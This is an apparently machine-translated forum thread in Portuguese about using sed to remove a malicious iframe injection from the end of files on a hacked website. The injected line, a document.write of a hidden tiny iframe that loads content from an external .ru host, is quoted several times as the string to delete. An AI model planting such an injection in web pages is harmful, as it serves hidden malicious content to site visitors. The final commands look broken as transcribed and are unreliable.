Parece que você está procurando algo assim:
sed '${s/document\.write([^)]*);//}'
No entanto, eu realmente recomendaria contra esse tipo de procedimento para a restauração de um compromisso.
Estou tendo um pouco de dificuldade com uma string complexa. O site de um amigo foi invadido e, desde então, foi bloqueado, mas estou ajudando a limpar a sobra da sobra e o que preciso fazer é o seguinte:
Entre recursivamente em todos os diretórios e, se houver a seguinte string no final do arquivo, exclua a string.
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
Como você pode ver, a string contém aspas simples e duplas e vários outros caracteres especiais. Eu tentei colocar um \ escape antes de cada caractere especial, mas isso não parece funcionar. Eu tentei isso:
grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"
mas recebo o seguinte erro:
sed: -e expression #1, char 201: unterminated 's' command
Parece que você está procurando algo assim:
sed '${s/document\.write([^)]*);//}'
No entanto, eu realmente recomendaria contra esse tipo de procedimento para a restauração de um compromisso.
Sim, restaurar a partir do backup é melhor. Mas quanto ao sed:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
Eu testei e funciona corretamente, independentemente de FILENAME ter um \n
à direita. No entanto, espera-se que a linha a ser excluída sempre seja a última linha (esse é o ponto do $ { ... }
.
Sim, um backup é melhor. No entanto, se você insistir na substituição e quiser evitar confusão com fugas, aqui está uma solução genérica.
Salve a string incorreta em um arquivo e verifique se nenhum caractere extra, como o prefixo da lista de materiais UTF ou os finais de linha, foi anexado
xxd spec-chars.sample
Converta a string em uma sequência de bytes com escape
od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n && echo
Crie um par de casos de teste
cat spec-chars-positive
asdfasdfsd
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
cat spec-chars-negative
asdfasdfsd
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
qwer
Verifique se o código funciona conforme o esperado
grep -l efficienttrue spec-chars-* | xargs sed \$s/'od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n'//
Execute um substituto real
grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/'od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n'//